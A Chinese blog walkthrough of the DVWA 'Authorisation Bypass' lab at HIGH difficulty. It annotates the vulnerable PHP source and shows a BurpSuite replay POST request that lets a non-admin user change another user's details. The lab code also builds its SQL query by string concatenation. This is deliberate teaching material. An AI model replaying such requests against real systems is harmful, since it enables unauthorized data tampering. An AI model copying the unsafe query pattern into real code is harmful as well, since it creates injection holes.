DVWA详解:AuthorisationBypass 篇(下)
前言:
在前一篇博文中,博主解读了"AuthorisationByPass"这个漏洞的"LOW/MEDIUM"难度,在这一篇博文中,博主将继续解读"HIGH"难度!
特别提示:如果你在实验过程中,直接复制本博客任意博文中的配置/代码,"空格"字符的前面将可能产生不可见的字符"M-BM-",从而造成文件不可用,这是字符编码的问题~若必需使用复制粘贴方式,请务必手动替换掉配置项中的所有空格!!!或尝试使用以下命令过滤掉所有"M-BM-"字符~
1 2 3 4 |
sed -i 's/\xc2\xa0/ /g' [文件名称] # LINUX下可使用以下命令查看不可见字符的情况 cat -A [文件名称] |
快速跳转:
《 DVWA详解:AuthorisationBypass 篇(上)》
HIGH:
现在,先看一下HIGH难度下的准PHP源码文件"high.php",有效代码其实和MEDIUM难度一样,重点是其中的注释,见下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
// 文件:vulnerabilities/authbypass/source/high.php <?php // vulnerabilities/authbypass/change_user_details.php // > HIGH难度的官方注释中,特别的提示要破解本难度,需要关注 // "change_user_details.php"文件的PHP源代码 // > HIGH难度官方不再提示我去关注"get_user_data.php"文件了,实际上, // 在MEDIUM难度对"get_user_data.php"源代码的解读中,我们知道, // 在HIGH难度下,我们是无法通过"get_user_data.php" // 文件中的IF判断语句的; // // 下面这段代码,控制了非"admin"用户访问"/vulnerabilities/authbypass/"页面的权限; // 在LOW等级是没有这段代码的,所以LOW等级下非管理员用户也可以访问该页面; if (dvwaCurrentUser() != "admin") { print "Unauthorised"; http_response_code(403); exit; } ?> |
在HIGH难度下,"gordonb"用户已经无法使用"get_user_data.php"页面了(关于这部分内容见MEDIUM难度的PHP源码解读),但DVWA官方提示我们关注"change_user_details.php"文件;现在,我们解读一下"change_user_details.php"文件,看看为什么会在HIGH难度下存在漏洞;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
// 文件:vulnerabilities/authbypass/change_user_details.php <?php // "change_user_details.php" define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php'; dvwaDatabaseConnect(); // 在LOW/MEDIUM/HIGH等级时("gordonb"登录时) // > (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") // 的判断结果为"Flase",IF内的代码不会被执行,所以"gordonb"用户在HIGH难度下 // 依据可以正常使用这个页面进行更新操作; // // 在IMPOSSIBLE等级时("gordonb"登录时) // > (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") // 的判断结果为"True",IF内的代码会被执行,所以"gordonb"用户无在IMPOSSIBLE难度 // 下使用这个页面; // // 任何难度等级时("admin"登录时) // > (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") // 的判断结果总为"Flase"; // // 注意:"DVWA 2.3"版本的"exit;"语句缺失,需要手动修复(GitHub上最新代码已修复); // 缺失"exit;"语句影响的是"IMPOSSIBLE"难度,会使"IMPOSSIBLE"难度下本页面的漏洞依然生效; if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") { print json_encode (array ("result" => "fail", "error" => "Access denied")); exit; } // 判断"请求类型" if ($_SERVER['REQUEST_METHOD'] != "POST") { $result = array ( "result" => "fail", "error" => "Only POST requests are accepted" ); echo json_encode($result); exit; } // 判断"数据格式" try { $json = file_get_contents('php://input'); $data = json_decode($json); if (is_null ($data)) { $result = array ( "result" => "fail", "error" => 'Invalid format, expecting "{id: {user ID}, first_name: "{first name}", surname: "{surname}"}' ); echo json_encode($result); exit; } } catch (Exception $e) { $result = array ( "result" => "fail", "error" => 'Invalid format, expecting \"{id: {user ID}, first_name: "{first name}", surname: "{surname}\"}' ); echo json_encode($result); exit; } // 之后的代码是"数据更新"操作了,但要执行这之后的代码,必需先通过前面的"授权判断"/"请求类型判断"/"数据格式判断"; $query = "UPDATE users SET first_name = '" . $data->first_name . "', last_name = '" . $data->surname . "' where user_id = " . $data->id . ""; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); print json_encode (array ("result" => "ok")); exit; ?> |
另外特别提示一下,"DVWA 2.3"版本的"change_user_details.php"的PHP源代码的"IF条件判断语句也"缺失了"exit;"语句(GitHub上最新代码已修复),你需要自己手动修复一下这个BUG;缺失"exit;"语句影响的是"IMPOSSIBLE"难度,会使"IMPOSSIBLE"难度下本页面的漏洞依然生效;
当我们尝试使用"LOW/MEDIUM"等级的方法尝试完成"HIGH"难度的攻击,我们会发现攻击失败了,见下图:
这意味着我们无法在"gordonb"用户下获取到"本应只能由管理员才能获取到的用户数据",可见,在HIGH难度下,DVWA修复了"LOW/MEDIUM"等级的"用户数据获取"漏洞;但"Authorisation Bypass"页面除了"查询用户数据",还有"更新用户数据"这一个功能,如果正确理解"change_user_details.php"的源码,会发现"更新用户数据"这一操作在HIGH难度依然存在漏洞(这个漏洞在MEDIUM难度下也是存在的);
由于"更新用户数据"这一操作使用的是POST请求,此时我们需要使用到"BurpSuite"(注:这不是唯一的工具);用"BurpSuite"发送"更新用户数据"请求,可用两种方式:A、"Proxy"模式,拦截POST请求,修改请求参数,然后放行实现数据更新;B、"Repeater"模式(重放攻击),即使用一个POST请求的模板,按需修改,发送请求以更新数据;
本博文使用"重放攻击"方法,要使用"重放攻击",就需要知道"POST请求的样式",这个样式你可以从开者工具中查看,也可以使用"BurpSuite"拦截一个"change_user_details.php"的更新请求,然后保存下来作为POST请求的模板;
以下为博主使用"BurpSuite"拦截发送至"change_user_details.php"的POST更新请求的标准样式,使用"BurpSuite"拦截的过程就不截图了,读者实验过程中,可以复制以下POST请求然后修改使用;
1、收集/设定"POST更新请求"的模板;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /vulnerabilities/authbypass/change_user_details.php HTTP/1.1 Host: dvwa.domain.local Content-Length: 47 Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Content-Type: application/json Origin: http://dvwa.domain.local Referer: http://dvwa.domain.local/vulnerabilities/authbypass/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: security=low; PHPSESSID=mbp100ps0f65u0255ohbiehh56 Connection: close {"id":3,"first_name":"Lemonsys","surname":"cn"} |
2、POST请求的模板已经有了,在实施"重放攻击"前,我们还需要收集一下当前的COOKIE,后面修改POST请求时需要使用到:
3、现在开始模拟"重放攻击",首先配置"重放攻击"的"目标地址"与"目标端口",见下图:HOST 配置为"dvwa.domain.local",PORT 配置为"80";
4、将上面提到的"POST请求模板"复制到"Request"的文本栏中,按实际情况修改;其中需要修改的内容为:A、"Cookie";B、提交参数;C、"Content-Length"(按"提交参数"的实际长度进行修改);具体修改要点见下图:将 ID 为"3"的用户的 FIRST_NAME 修改为"Baidu",SURNAME 修改为"com";
5、在修改完成后,点击"Send"发送请求;然后切换到"Response"标签查看响应数据;发现响应数据中包含了' {"result":"ok"} '信息,表明"用户数据更新成功":
6、切换至LOW等级,查看"http://dvwa.domain.local/vulnerabilities/authbypass/"页面(只有在LOW等级下,"gordonb"才能看到此页面),发现数据的确被更新了:
结:
至此,本篇关于DVWA上"Authorisation Bypass"篇上三个难度已经解读完成了;这个DVWA篇章主要的目的就是告诉渗透人员:"开发人员在处理'授权问题'时,容易在某些复杂的情况下使用了'错误的鉴权逻辑代码',尤其是那些无法通过浏览器直接访问的地方(例如API调用),一个'鉴权漏洞'可能会导致攻击者成功的访问机密数据或功能"。只要读者明白了以上的关键点,DVWA的"Authorisation Bypass"章节就完成其目标了~~~
DVWA详解:AuthorisationBypass 篇(下):等您坐沙发呢!